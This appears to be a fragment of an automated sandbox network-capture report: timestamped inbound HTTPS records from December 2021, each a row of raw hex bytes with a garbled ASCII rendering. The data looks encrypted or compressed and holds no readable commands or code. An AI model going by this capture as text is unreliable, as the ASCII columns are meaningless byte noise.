db d1 d1 76 bd 3b e2 3d 5b bf 68 1c 41 29 92 21 d5 57 10 77 c4 9d 0d 0d 86 d5 54 53 67 38 f6 30 58 cb 2b 54 e1 13 07 af e8 a1 57 cd 49 9e 90 64 f9 bf fc df 99 fa 30 03 5e b2 ef 45 66 56 cd Data Ascii: Nr5Y)+ =aQ&5ma9c"d83W{&a%2Y+\kWBjXl"#gla~6HzS?T)g7<T;K~cBdl ~#,&bvTr%v;=[hA)!WwTSg80X+TWId0^EfV
2021-12-28 04:19:41 UTC	1121	IN	Data Raw: b7 5b 36 cd 5d 25 df a1 39 13 20 3c 14 b2 2e 0e b2 dd 66 14 78 ec 29 03 76 40 a3 0f 1b 91 db 1a c2 b7 f5 50 f8 52 44 b4 bc 48 e3 37 9a df ee b2 c2 68 c2 2f d6 3b f2 a7 b0 89 43 a4 e1 3a b5 95 6c 26 c4 ac 5a 4f 4c 44 df ff d6 ee 02 79 0b af 09 c4 43 49 69 f3 ee 4b 78 13 36 6c a4 84 d4 eb c8 26 4d 98 5a 6e 72 ce 51 10 53 f6 5b 44 0a cc 0e 51 2a 94 7a 69 71 2c 1c 3c 51 6a 74 41 a8 a4 c1 41 73 60 93 2e 4c 70 b3 d8 ad 06 2e ce 20 c9 9b 15 81 0b bd 57 ae 40 48 54 9b 82 d5 36 df 71 94 fe bb d4 d3 67 4c e9 a7 3e 14 c0 ee 3c bf ed 5a 42 a0 f8 0b 7a ed 62 89 1f 50 58 0e 2d d8 16 a5 f3 c8 47 73 cd a8 8d 33 63 d4 bd dd a8 80 85 50 44 c1 d3 dd d4 70 3d dc 2c f7 ef a7 ee a4 3e 74 9e ac 04 44 fa c9 ad 60 9b d1 9b 45 a7 a7 29 21 01 5b 38 1b 44 dc 30 62 93 d9 f7 c1 1f d2 Data Ascii: [6]%9 <.fx)v@PRDH7h/;C:l&ZOLDyCIiKx6l&MZnrQS[DQ*ziq,<QjtAAs`.Lp. W@HT6qgL><ZBzbPX-Gs3cPDp=,>tD`E)![8D0b
2021-12-28 04:19:41 UTC	1125	IN	Data Raw: 4b 1f 46 df 8e 2e 12 6e fe 2d 11 39 c7 77 eb cc 17 ab b5 d5 eb 3c 31 c9 83 36 93 1f 82 99 b3 f5 20 63 d8 c9 39 54 51 70 2d 64 14 dc 9f d5 47 db e8 e2 12 91 1c d7 88 68 13 66 8a be 08 35 d5 db 6c 61 bf c5 02 16 d6 7e 40 62 bd 97 5c 7c 06 53 d4 fc df 21 36 cc 35 84 09 d1 6a 5e 2b 64 90 8e 2f 7d 1b 1a cc 69 ca 90 e1 a2 66 fc 64 c5 ef 92 b5 f4 71 ac aa 28 fb 6a 1a 26 7e 54 46 90 02 6e 23 23 8d 84 6d d4 b7 4a 0d 61 42 12 45 c5 d6 3a 27 d9 ae e1 5d d2 ff c4 90 db 16 7d b6 4d 04 40 2d a6 cf 98 11 7d ec 31 3d db 08 ad 44 b4 dd d7 80 e6 3a 99 3d ca 4b a7 39 2c 34 f1 eb a5 a6 ff 6d 84 b8 fb 88 b2 4a 9b 68 f8 ab d2 69 4a 85 34 2f c4 1f 9a 0a e1 99 bf 5c 19 38 d3 1f dc db 6e 94 24 c5 20 fa 55 6f 56 a7 c8 d4 ee 54 b2 89 a1 d8 e6 f0 20 72 cb 9f dd 51 88 51 17 95 c0 d1 Data Ascii: KF.n-9w<16 c9TQp-dGhf5la~@b\\|S!65j^+d/}ifdq(j&~TFn##mJaBE:']}M@-}1=D:=K9,4mJhiJ4/\8n$ UoVT rQQ
2021-12-28 04:19:41 UTC	1129	IN	Data Raw: 4c 82 ea a3 73 ef df 4d d2 a5 43 a8 b0 db 85 a6 20 2e cf 31 48 7d d1 c8 75 7c 78 20 4c 65 d9 95 4f fc b7 60 dc 79 61 9a d0 97 86 ea 28 8b 3d d1 73 31 18 86 2c 97 65 9f 42 d5 03 00 96 67 0a 0a 75 5b 67 b9 23 d7 f1 cf 0f 4c 5a 0c 44 11 18 db b8 7f c3 e0 90 c5 d7 e9 d9 e6 d2 95 0b 6a b4 8c 37 d8 26 ac de 0c 5f b3 05 e5 b7 20 0b 0e aa e9 72 2f f7 3c 83 eb 02 d5 31 62 f8 3a 0f 41 02 e9 9f c2 1f fa d6 a6 ba 65 f9 1b 1e 18 f0 60 24 07 2b 67 18 6e 15 ed 93 9e 49 93 59 35 27 84 ee 10 8a 70 5e 1b f7 90 03 fd aa f5 fd 16 31 4d 4e 6f f2 e4 ab 32 e7 32 9c 0b 57 0c 55 27 cf a5 83 34 48 b3 cd 5d de 59 3e a1 9b 48 20 7e 16 ef 19 2e 1f 4f 1b e1 77 01 8e 5a da 5d 7a 5b 14 92 bf eb 3a 37 0a d1 6e 29 71 84 82 c3 69 a8 f6 9a 8e f2 99 5f eb a2 b4 76 d9 7f 48 af 4d 55 9b 78 0d Data Ascii: LsMC .1H}u\|x LeO`ya(=s1,eBgu[g#LZDj7&_ r/<1b:Ae`$+gnIY5'p^1MNo22WU'4H]Y>H ~.OwZ]z[:7n)qi_vHMUx
2021-12-28 04:19:41 UTC	1133	IN	Data Raw: 7a 54 49 99 b6 e4 66 9f 68 cc 56 7f b1 07 7a 8b 04 a0 d8 2c 85 ad 2a 64 06 bd 90 7a a8 60 18 02 e2 e6 1d eb 06 c7 39 a3 20 8c 24 3e 23 c5 3c 56 4d c4 83 14 49 7d 49 c0 af b7 9d bf 19 31 41 45 0e fc 79 53 ca 67 a0 0f d7 d5 82 1f 73 5e 29 d5 41 11 b5 c9 55 a2 45 80 7e 27 10 90 d3 8a 88 87 6d ad d3 30 bd 6f 19 46 86 2d 1c 97 89 6e fe 03 fb e1 51 a5 d4 6e b4 b2 63 c6 80 4d 63 02 cd 38 79 b6 63 26 99 45 8b b6 05 fb b8 ae 8e 9b d8 70 0f 94 43 48 96 15 d2 7a 95 62 e5 8d c5 32 15 d0 d1 f1 31 44 d9 11 a0 40 3d 38 b4 54 bb 90 95 50 71 f2 40 99 9e e3 3a c3 ec 5b 8e 3b 2c b7 76 cc ec 3c 6a 60 72 61 2e 77 c1 95 dd a5 c5 4e e9 a1 07 c5 36 f2 4f 7d 88 6a 0b 1e 49 c4 27 69 5a ab 74 de fd 1c 83 40 4d 83 0a e6 8c 87 13 ff 4e a7 dc 3c e1 2e bd 44 d5 4e 20 53 6b 43 6d 50 d1 Data Ascii: zTIfhVz,*dz`9 $>#<VMI}I1AEySgs^)AUE~'m0oF-nQncMc8yc&EpCHzb21D@=8TPq@:[;,v<j`ra.wN6O}jI'iZt@MN<.DN SkCmP
2021-12-28 04:19:41 UTC	1137	IN	Data Raw: 04 a2 8e 7b c9 49 49 da eb ed e9 5d 86 f6 cd 18 c0 fc 18 e7 bb ee b6 b1 70 4f 7f 87 23 55 64 57 f2 12 b9 79 13 55 31 d7 bd b4 46 07 80 a8 33 76 e6 00 7a 35 77 6f 1d 0a a2 58 42 cf ec b0 48 d6 d0 f2 be 62 3f 43 26 ed f2 8d cb e4 be 11 1d 7d 02 34 32 5e a7 3e d5 a0 46 09 ed 86 b6 2d eb 03 f9 91 57 1f 83 56 93 42 78 0e c6 6e a5 2f c1 d3 6b e1 7e 40 25 05 80 bd bd 75 5d 64 44 3f 37 c0 a9 97 9a c2 95 0d 4b af 27 40 dc a0 ac ca 84 34 bb 4e 80 bc de cb b9 22 85 87 e1 cf 32 1b 56 18 6b aa 18 45 d8 4d 8a 70 75 d2 54 eb dc 94 e5 3c da 9e 18 03 78 ba 2c 70 50 aa 2e 2a 4f c4 13 1c 6b 88 a3 c8 2e 9c b6 54 22 37 09 27 ad 57 3f db 8a d4 7a f5 8f 58 a7 5b a9 4b a6 14 e0 56 63 a3 0d 74 e4 42 f0 47 5f c2 59 8f 74 a6 68 8a f4 7c bb 64 18 76 fa 2a e7 d8 1b 8d 45 4e ba 29 b2 Data Ascii: {II]pO#UdWyU1F3vz5woXBHb?C&}42^>F-WVBxn/k~@%u]dD?7K'@4N"2VkEMpuT<x,pP.Ok.T"7'W?zX[KVctBG_Yth\|dvEN)
2021-12-28 04:19:41 UTC	1141	IN	Data Raw: 00 e7 0d 2e 1e 62 39 90 f0 24 ca 9d 70 92 18 d8 a8 3e a0 9b de 52 ec ea 45 ac bd 81 10 ca 04 36 bb 3a f3 b4 12 25 15 12 a1 a5 cb 16 fe 37 d5 47 d7 6d c2 3a 2e a0 a2 b2 02 c1 36 c5 65 ee dd d0 62 69 cd 3d d1 a8 d8 ef 9c 60 9a 78 cc 9d ad 36 cd 5b 0f ca 8e 2e 6a 84 3e ea e2 ba 50 1b d1 2f 0b 09 5c 79 0e a8 a9 b2 7a 66 9f a1 34 53 82 fa 20 66 11 9e 2f 32 02 f2 ac a1 4e 70 5e 60 bc 77 eb 45 3a df 26 ab 88 83 9b ec 39 d7 15 f6 81 3c df 20 1d e2 45 91 66 98 64 dc be 7c 8a a3 54 45 9d a1 50 7f b5 5d 74 9f 52 7a 24 41 d0 bb a5 e5 d3 27 5d 6a ed c7 73 91 33 d3 c6 c8 f6 46 9d 86 48 ab f6 b6 0d c4 db 5a 78 0d bc c1 ae 25 84 25 72 54 c6 c4 06 fd 0a b3 ac 5a f0 37 f8 10 25 69 ca ca ee 55 06 dd c4 4f 28 fe 4f 0b 5b 70 02 b6 4a ac 0f db bb f7 e4 d5 72 e0 96 16 77 67 10 Data Ascii: .b9$p>RE6:%7Gm:.6ebi=`x6[.j>P/\yzf4S f/2Np^`wE:&9< Efd\|TEP]tRz$A']js3FHZx%%rTZ7%iUO(O[pJrwg
2021-12-28 04:19:41 UTC	1145	IN	Data Raw: 07 2f 1a 8c 04 8a c9 b6 76 ad e3 fc 6d 21 f5 00 15 b8 e0 fb 46 8b 03 77 7e 54 19 5b 04 ae 16 3a 97 bf 1c a5 b2 ca dd 49 0b 31 a3 c8 55 11 c4 45 8c 71 c4 3f 94 e9 79 d3 1e cb 92 1c 5d 77 5c 8b 5f 73 c6 62 4b 42 77 4f 08 f2 31 72 c1 52 cc 83 31 55 e1 2d 9e c5 8a ef 1d 83 f8 f2 ab a4 f5 70 ff e5 78 c8 1c 4b 0d 96 62 fb 6d a2 e4 ac 0d ed 56 17 a9 19 17 18 f8 d8 69 90 2b fc 6d 9e ae 34 89 1b af 47 22 bf 52 e2 62 b5 7f d5 9b be 2d 69 a9 d2 00 7e 1a 23 4b 27 4e f9 b2 35 5f 2e 42 a1 7f c9 92 96 ea a9 3a f9 87 8f 94 22 96 40 c6 2a 87 19 12 29 2e d0 02 86 15 e8 35 07 70 31 25 ef d5 13 2c 61 59 62 d0 04 cb da cb b0 d4 9b 8f 30 fb 6d 2e e8 24 48 9a 89 29 3c 08 50 dc d2 c6 b9 21 72 a9 62 6d d4 d3 35 65 b0 48 32 a5 2a bc c5 71 d1 c6 6e 25 b9 f0 fc f7 7f 55 fb 90 d0 82 Data Ascii: /vm!Fw~T[:I1UEq?y]w\_sbKBwO1rR1U-pxKbmVi+m4G"Rb-i~#K'N5_.B:"@).5p1%,aYb0m.$H)<P!rbm5eH2qn%U
2021-12-28 04:19:41 UTC	1148	IN	Data Raw: 97 a5 5b 48 1d f4 20 dc bf f6 fc b0 1e 77 5a c1 2e 5f f9 58 57 e1 69 c9 c6 c1 d3 0d f0 6a 76 cd b4 3f f2 1a 6a 79 bf 3e 68 9a 21 ca 1e 1c d0 1d e1 3b 05 cf 8d d4 ec b5 10 3c f2 c2 9d 85 a0 92 4e 77 35 dc 5c 82 42 c8 44 04 03 d3 7b c5 85 d6 a7 65 16 c9 c1 b2 76 9b cd 77 dd ab 28 78 8c 06 3f 3f c3 6a 91 91 a1 13 6c 92 4d 6d ea 40 28 14 75 46 3b 58 72 fb 26 17 a6 f7 04 e8 4f c6 fa 9d 67 24 c7 25 73 e6 30 80 23 fa 48 10 31 27 a9 c5 4c c0 c8 84 51 22 fa 5f 28 87 c9 72 cb 8f ca b0 02 5a ab 26 78 d5 28 42 21 fd e1 b6 74 ed 5d 29 7d 09 01 22 34 c9 ff 93 19 d5 f6 6c 13 bf 68 61 4b 10 df ea e2 a1 c2 79 4a c9 16 7b 9f ed 30 a7 2c ac 09 ce 9e 28 2b f2 53 47 a6 8a 8b 6e fa 4f c2 6b 3f 92 07 a2 fd a4 b4 aa 26 d1 b7 32 44 69 4f 1c 67 e5 8f 5c 3e be 45 8a 48 1f bc 26 4c Data Ascii: [H wZ._XWijv?jy>h!;<Nw5\BD{evw(x??jlMm@(uF;Xr&Og$%s0#H1'LQ"_(rZ&x(B!t])}"4lhaKyJ{0,(+SGnOk?&2DiOg\>EH&L
2021-12-28 04:19:41 UTC	1153	IN	Data Raw: 0c 67 c7 51 40 0a 9a 6b 0e 33 41 64 64 d7 83 2b c7 e6 50 a7 77 40 49 1d 70 a3 a8 59 b4 e1 0e a6 85 09 9f 23 f8 c6 09 eb 54 3a 44 cd 28 d5 f5 90 d4 be 15 ec c3 7a 29 c5 3e 06 eb fa 77 87 03 1a 57 8d 90 8d 62 64 6e a0 0b e3 1f 96 63 6e ad 67 9e 67 b9 d1 4d 31 1e e1 9b d4 5b 4e 6d 69 24 c4 c6 86 1a 67 35 97 51 85 7a 6a 25 50 cc 4a 5d b4 33 14 3d 6b 23 72 dc 8a 2c 27 77 f0 0a eb 39 af 56 8e 7e d9 ac db 1f a0 c1 2c 41 37 b7 77 b7 bb bc b9 41 e0 b5 89 92 1f dd 3f 54 85 62 46 14 0e 0b 7a 4a c3 41 30 6a a4 88 2e 72 2c 56 3f 31 08 b1 a3 7a d3 c8 42 5b af 7c d3 5a 45 0f 17 98 65 0b 09 66 c0 f9 2f ec 9f 57 df f5 b4 c7 94 95 09 9f ea bc 5b dc 82 01 c5 13 ac bf 10 af 0a 2d fd 7a d1 ab fe 13 dd 25 06 88 db a8 50 11 bc 5f 21 5d b1 7e 68 c2 e5 52 2e d7 71 6f e3 4b e9 91 Data Ascii: gQ@k3Add+Pw@IpY#T:D(z)>wWbdncnggM1[Nmi$g5Qzj%PJ]3=k#r,'w9V~,A7wA?TbFzJA0j.r,V?1zB[\|ZEef/W[-z%P_!]~hR.qoK
2021-12-28 04:19:41 UTC	1157	IN	Data Raw: 13 53 1c e0 e8 92 a3 03 66 a4 4e 35 db 03 b1 be 72 fc 57 73 92 7b c5 a9 b0 88 4a 55 e2 2e 07 c0 63 94 01 eb 2a b7 7b c9 41 bb 18 c1 8d 15 29 5f 41 2e 60 54 9e 79 d6 7e 7b 04 5e 26 f8 9f e5 c9 22 29 dd 04 7c dc 5f 6f ba 79 d3 6f a2 ab ac 5f 2a d5 2e 0e c6 7f 9c 6e ca 65 8e 09 ac b1 bc e4 d7 8a 16 43 a2 82 53 5c 89 6e 24 1b e9 a7 f7 63 ae 9d da c2 d8 a5 f9 ce ea 45 d1 09 4e 74 18 7d 09 b3 0e 4c d1 7e be f3 35 bd 5f 3d ae c7 64 a5 73 d5 2c b9 ba ce cb b2 11 65 62 5e 62 08 98 b4 22 b4 26 95 a7 3d 39 3c 3d d2 f5 96 0c e4 aa b8 8e 54 3f 9c fc 63 da e3 ce a2 3d 49 55 bb d9 53 82 51 d5 f8 96 3b fd 8d ec e6 ed 05 1a 1c 2f 76 22 e1 d3 ae ab 32 f7 31 df f0 d9 a5 c6 4e 2b f5 3e 45 c9 1f 99 87 b2 5a ab 9b c0 69 aa ea 2a 4a 7c 30 f9 3d d0 b8 46 b1 35 8a a8 f9 e7 55 ae Data Ascii: SfN5rWs{JU.c{A)_A.`Ty~{^&")\|_oyo_.neCS\n$cENt}L~5_=ds,eb^b"&=9<=T?c=IUSQ;/v"21N+>EZi*J\|0=F5U
2021-12-28 04:19:41 UTC	1161	IN	Data Raw: f7 fa 40 61 b5 0e 30 18 07 dc 45 4b ca 1f ae 10 51 56 c3 57 76 42 7d 13 8d e7 b0 4f 90 7a b2 0f 86 0f b6 08 77 28 18 a4 52 a7 af a0 46 d7 61 33 1c 25 bb 99 4b 3f c4 5f 7e 74 d6 94 49 fe 03 f0 a3 15 1f c4 66 bc 19 04 5a 14 f4 5c d6 44 46 8d 5c f3 b7 76 5f 41 63 33 37 87 58 fa 12 34 66 85 22 4a e7 ba 9d 9a d0 a6 51 18 59 76 df 27 08 7a eb 22 c9 6d c5 1b 1f 14 fe b8 e8 82 64 59 10 35 4a b3 db 1d 5f 8a 41 95 dd 82 f8 75 a6 c1 bd df 89 b1 22 f9 c9 26 7a 6e ce 37 18 5e 92 a4 3c 99 c1 83 cb bb ed cf f7 21 35 d2 19 6f 41 bb 85 14 bf 83 d7 a9 9b 2e f3 dc ed c8 4f 31 2b aa 5e 60 81 bb 28 eb e4 6f 23 60 1b 88 f8 95 30 2f 63 8c 16 51 d1 78 3d a4 0c a3 ff f3 ea 62 bd a1 ee 1f f6 cf ff 5f 84 c2 02 f4 df 6b 5f bc 67 94 97 6c 18 0d 7d f0 ff 12 41 17 ff 12 be f0 9e 46 42 Data Ascii: @a0EKQVWvB}Ozw(RFa3%K?_~tIfZ\DF\v_Ac37X4f"JQYv'z"mdY5J_Au"&zn7^<!5oA.O1+^`(o#`0/cQx=b_k_gl}AFB
2021-12-28 04:19:41 UTC	1165	IN	Data Raw: ea 44 54 3a 36 61 c0 2f b0 67 31 bc 8c a5 71 87 54 80 fc a2 ac 32 47 c6 f2 18 7c d0 9a 81 b1 fa b5 0c ac 2b 2a c9 81 9e 21 d1 63 c5 4c a4 e5 db d7 b1 ad 6d 14 76 bc 62 8e 05 41 ef 3b 27 8e 87 45 fc 9f ea ed 9e 1d 48 6b 8e 9c f8 43 79 a5 7a 2c bf ef e8 99 ca 5e be f6 96 c0 b5 1b 43 9d ef 60 78 2e 35 a0 42 d9 bf 35 16 c7 c1 b4 9d 7d 9f a7 e3 31 0d cb 2c 04 22 45 2a df 2b 48 e9 d4 1e 6a 11 5a fd 88 57 83 fa 9d 87 57 63 4c 38 d1 c0 91 c7 11 2d 28 74 8c 77 f7 bd 0f c2 35 fc 89 78 2b 06 26 6d 6b 2a cd 57 65 c1 9c 9e 1e 3b dc 32 d9 8a 63 0a 3d 1a 91 59 99 f8 e0 f8 42 ee 29 70 c1 17 d5 66 6a 99 cc e5 24 1d 23 41 24 10 81 22 79 46 3f b5 a3 ca 6c 74 7b 29 10 6a 5c b8 06 c0 9a e6 41 80 df ac 09 40 f2 77 f1 3c 02 7f a6 7c 60 1b 6d da 5f 96 59 c8 03 92 b2 32 6f e2 18 Data Ascii: DT:6a/g1qT2G\|+!cLmvbA;'EHkCyz,^C`x.5B5}1,"E+HjZWWcL8-(tw5x+&mk*We;2c=YB)pfj$#A$"yF?lt{)j\A@w<\|`m_Y2o
2021-12-28 04:19:41 UTC	1169	IN	Data Raw: 68 12 53 86 b8 d6 93 ef dd 0e 7d a9 55 21 dc 27 e7 7b 88 29 a7 6f 74 89 d7 41 ba 36 54 de 38 29 a1 04 6c a3 9c ca ba 53 99 9d a3 3f 5a c2 92 19 77 f5 61 45 e2 83 c8 dc 5e cc 7c a6 c7 5a 4e 8b ad ed 38 64 cd 4b 60 38 85 55 20 2a 84 c5 52 83 d0 9c 31 c6 d1 03 7e 2c 7c c4 92 86 fa 39 5a 7d 49 d9 d0 70 a6 f6 df a4 a2 31 e5 fd 40 25 44 33 68 b5 ff 46 9a da ec aa fb 1b 39 1d 93 84 f1 22 80 0b ec 59 8b 33 c3 8d 65 e8 f0 d6 5d b8 c6 8a 5a 24 24 3b fe c5 97 4b 43 e6 08 1f bd 8c 0d 3c b2 1f 9a be 41 62 1c cb 53 c8 0a b8 0b 28 32 d8 0e 24 e8 cc 6e 9c 95 0f 2e 6e d5 7c e2 85 c8 5a c8 f2 30 46 60 67 79 b6 fe 3d 01 da 63 fa 8b f4 95 7a d5 42 72 59 3b a5 cc ff 7e 1e 08 b7 d3 99 d4 95 e3 88 80 ad 5c 3a 4c 5c a5 2c 1f 8e 6c da 5a 34 26 19 c7 a3 7d 1e a9 0f ab 53 d2 00 ca Data Ascii: hS}U!'{)otA6T8)lS?ZwaE^\|ZN8dK`8U *R1~,\|9Z}Ip1@%D3hF9"Y3e]Z$$;KC<AbS(2$n.n\|Z0F`gy=czBrY;~\:L\,lZ4&}S
2021-12-28 04:19:41 UTC	1173	IN	Data Raw: 66 e9 44 c2 a6 67 79 59 e1 d3 e6 62 83 50 b5 94 9f 78 e1 6a 93 1b c7 7a cd c2 d5 19 68 af 78 40 91 d8 11 47 f1 a3 c1 96 ff 60 41 bc 91 f4 c3 d8 06 73 30 fb 56 2e be 1b 62 d2 bc cf 38 18 ee dc 8a ba f8 f1 91 4d 9d fa 86 2a b3 48 ad 12 01 10 a1 e8 65 cc 09 ac e2 06 84 b3 b5 d5 64 ea b1 55 dd e2 be d7 b6 52 2e 76 68 c5 6b 95 75 82 10 d8 9f f6 77 59 04 7e b6 4b 7a 36 7a 20 85 c3 7f dd 39 26 2b 29 66 f5 09 46 d0 f6 71 1f a1 b3 4e 85 d5 ed da 46 e8 df 05 f2 05 bc 5d fc 57 72 5a 6a c3 92 10 79 0f 5e 9a d8 55 66 a0 89 00 7c e9 9a 25 cf 10 5b 87 6d df 12 7b 2e bd ad ca 35 e8 08 ab 29 c6 05 0b 1d 0e 05 94 ec b0 22 88 ee f0 7c 1e 97 fe 66 79 7b 91 9c e8 57 f5 c6 ab 8c 7c a0 8d bd f6 e3 19 46 7e fe a0 c7 75 55 e9 e5 04 fb cd 63 62 9a 7c 69 74 85 cc 04 eb f8 cd 5d e5 Data Ascii: fDgyYbPxjzhx@G`As0V.b8M*HedUR.vhkuwY~Kz6z 9&+)fFqNF]WrZjy^Uf\|%[m{.5)"\|fy{W\|F~uUcb\|it]
2021-12-28 04:19:41 UTC	1177	IN	Data Raw: 46 75 59 59 04 f5 db 2a 1b 0e 92 46 8e 57 2c 9f a5 db f2 3d 67 1d 77 56 ae 88 ef 82 85 c7 e9 29 ae a4 b2 1a 5e ec b2 a3 b8 ce 46 0c 51 6f 81 04 e9 7b 24 43 88 de 8a 10 6b 6e e7 d3 4a d5 67 4b d2 74 74 7d b4 af 39 d7 5f bc f4 10 21 3e ae 92 3d 22 16 66 ed 04 43 3f 56 2f ff 6f 49 79 e2 62 4c 48 41 8c a0 18 e6 58 8f 80 f6 a7 e3 8e 07 68 5c 77 17 c2 bc 44 08 56 70 f2 72 b0 60 39 72 5e ba ad 13 5e b7 e6 a3 8c 05 f7 ae 1b 87 f1 42 9f 57 75 fe 90 58 8a fb 23 41 a0 fa 12 d3 05 1e 55 b0 fd 87 44 bc 96 4c 76 d3 a1 8b 14 8a 54 d0 d3 55 18 02 80 05 e6 b3 54 44 f9 a1 dd 60 67 c9 a7 02 52 89 ed a3 da 29 f2 9c 74 5e 11 29 25 1a 32 d6 95 af fb ab d5 02 a9 63 94 7c 40 0d e3 3c db 73 eb ce 49 3e 7c 63 f8 6d 65 a4 b2 f3 6a ba 93 fd 0b 49 3c 06 a7 d2 93 a9 76 2b 0c 7a 41 c9 Data Ascii: FuYY*FW,=gwV)^FQo{$CknJgKtt}9_!>="fC?V/oIybLHAXh\wDVpr`9r^^BWuX#AUDLvTUTD`gR)t^)%2c\|@<sI>\|cmejI<v+zA
2021-12-28 04:19:41 UTC	1180	IN	Data Raw: ab 53 8c a8 f3 0a 07 00 b2 36 cd b9 33 53 fe f6 b1 8e 8c b4 01 ce 01 9d 9d 01 c1 a0 25 69 e9 82 a2 4a f4 31 a4 48 88 fa 0c 47 89 1c 08 76 31 ce 59 8c 3d 88 b1 dd eb c8 05 d3 fd 78 12 6c 12 3a 54 be 9c 0a 24 8f 21 18 f7 d6 d8 36 83 5e 70 d8 95 13 1a 06 b2 94 8e 60 26 b3 d1 de f8 ed f3 05 20 ed 85 f0 73 4d 62 8f 49 c7 bd 0b 9c 3a 5b 2f e3 23 68 b0 d7 57 98 97 cc 70 8c d3 40 9f de c9 a8 07 91 33 87 47 57 bb e0 45 72 a3 e3 28 f5 dd af 17 a2 79 4a 55 1c 2f cb fc a4 1c e7 99 96 04 ee 92 ea 24 94 f8 18 1b be 7f 6a ee 4e 74 6a 52 f2 01 74 0b 0f d1 8b 2d 9a 0e 2a b9 51 8c 4f 4e 39 4a 90 bf a6 fa 60 ca 0e 7c ca db 63 33 86 96 b0 97 b7 c5 8d 2d e4 e4 41 8a ab 75 97 0f db a7 83 15 ab 90 9e 6a 23 47 79 91 cf 02 4d 0f 2c c2 9c 90 40 a8 ec cc 62 34 0a 89 f0 d1 3d 73 60 Data Ascii: S63S%iJ1HGv1Y=xl:T$!6^p`& sMbI:[/#hWp@3GWEr(yJU/$jNtjRt-*QON9J`\|c3-Auj#GyM,@b4=s`
2021-12-28 04:19:41 UTC	1185	IN	Data Raw: f8 98 fb 62 aa a6 c3 05 b4 02 fb 59 0c 06 a2 04 2d 65 fd 5a 54 98 75 19 4e 46 ee 78 0b cd 64 3f fb 23 c9 1b b3 1b e4 2c 3a 94 15 73 40 74 61 1e 1a 36 59 39 9a 2b 09 15 2c 86 71 8b 19 d7 9c 25 4a 9e 4b 74 eb d0 09 9f be fa 27 fb 1c 6a fb 27 5c 9a 18 3d 4c cf e9 f3 6f c8 65 e2 a2 5e 70 ed 49 e9 a0 d8 43 01 9e f1 90 f2 f1 82 c6 08 f9 1b f7 11 1b cc 00 2a c2 f7 e8 c3 ab c2 6b ab b1 b4 fe 3f bb d8 75 30 db b0 ee a4 90 15 f0 3f b3 6a d2 29 04 2b ed 66 58 df 92 7e b9 4f db 95 79 25 a2 be 9e ce 8c 51 46 43 90 ca 78 16 e0 79 1b 13 42 50 76 a6 44 e8 1b ef dd 92 a8 21 47 44 72 d2 7b 0b b3 66 86 7f ac a4 7b 7c 29 70 1b 67 7c da b4 a6 19 ef af b9 38 84 3b ff 7e 77 7c 6c 9e ff 8a c6 61 18 7f b1 e2 3c 32 81 6a 03 7c 87 25 35 f8 c6 ac 6e ab c8 bc d9 ca 5d e8 1e cc 05 5c Data Ascii: bY-eZTuNFxd?#,:s@ta6Y9+,q%JKt'j'\=Loe^pIC*k?u0?j)+fX~Oy%QFCxyBPvD!GDr{f{\|)pg\|8;~w\|la<2j\|%5n]\
2021-12-28 04:19:41 UTC	1189	IN	Data Raw: 9b 1d af 1d e7 b3 51 e2 c2 3d df 98 15 ff 9a 74 7c 25 ec cb 68 8b dd 35 a6 6d 5b 0e de d6 c2 8d 97 7e 03 fc 89 cb 58 b4 f2 08 88 2a c1 88 ce 63 19 70 0c 51 ce 78 fe c8 8c 57 9f 7e 47 05 8f a8 eb 5f ad 15 95 13 4c 71 cf 8a eb b9 b2 76 a1 f7 a9 c7 15 0a 8c ce 2c f9 00 6b f2 61 33 eb a5 6b 3f 0e 02 01 fd 7b f3 ac 71 5c 73 70 10 44 12 e3 4a 0a a6 dd 96 d0 43 2e 89 f1 62 40 d3 7e 3a 41 d2 e8 5f e7 dc c7 65 a4 92 d5 b7 a5 7d a5 11 6a 72 29 7b 57 3e 79 d3 6a b7 2f d3 dc 65 7e d8 4e 6e 91 51 66 a5 ad 0f 74 be 7c e7 ef a2 b6 a1 30 00 13 e2 6d 0d e9 f7 13 b4 8b 6d 00 75 6a 54 b6 8e 2c 56 1e b4 39 fb 22 f0 b5 97 a4 8e 13 b1 89 10 8e a2 ae d3 2f 0d df ab 22 b5 a3 3a 83 6c 08 24 58 e2 02 54 cb 2b 4e 49 a4 78 71 89 7c 2b e4 20 1c 6d 3d ef e4 f3 fc ff 55 90 d6 3f 7b 80 Data Ascii: Q=t\|%h5m[~X*cpQxW~G_Lqv,ka3k?{q\spDJC.b@~:A_e}jr){W>yj/e~NnQft\|0mmujT,V9"/":l$XT+NIxq\|+ m=U?{
2021-12-28 04:19:41 UTC	1193	IN	Data Raw: 55 d9 9c 47 1b cd 9f 80 64 f3 f5 6d ac d5 aa 33 73 c8 00 20 e8 fb 13 9f 83 60 e5 25 fc 51 63 65 ce e3 5c d1 5b cf 3e 86 cd ce 0c 94 43 af 4f 0f a7 89 bd e7 66 bb 93 d0 ee ba da 2c 50 32 2d dc 7c 5f d8 d6 2f fe 5d 60 93 bf a7 1a 4a 5b 02 0a 8a 4a 2e bb 43 5f 78 e7 ab e3 d4 70 e9 36 f9 07 93 23 a1 a4 b6 00 a1 d0 fe 1e 6d 65 8a 62 54 9e 24 3a 0b 6e 21 05 4f 07 c9 7e 7d 80 da 1f 4d bc f7 11 1f 33 ff 70 d4 a0 11 0c a6 36 bf 54 f1 ff 1d b4 82 74 e3 10 7c df 3b 8b f4 98 91 a6 58 38 eb 29 cc 21 3c 0e 5a be 77 79 9f 7f 30 75 07 72 76 9b 0d aa c7 41 38 69 e8 45 06 c2 37 ab 57 88 56 41 7c 52 67 a1 85 9d 7c 09 97 8e ba 5c 53 32 70 b8 49 de a1 c5 61 f4 74 10 8f 45 2b 1d 9e eb 0a b4 b2 95 9c fa 30 fd 77 0f 20 eb 49 85 fa f8 7b 3d 4b 0f c3 9c d8 b8 c6 b6 88 da bb 62 a0 Data Ascii: UGdm3s `%Qce\[>COf,P2-\|_/]`J[J.C_xp6#mebT$:n!O~}M3p6Tt\|;X8)!<Zwy0urvA8iE7WVA\|Rg\|\S2pIatE+0w I{=Kb
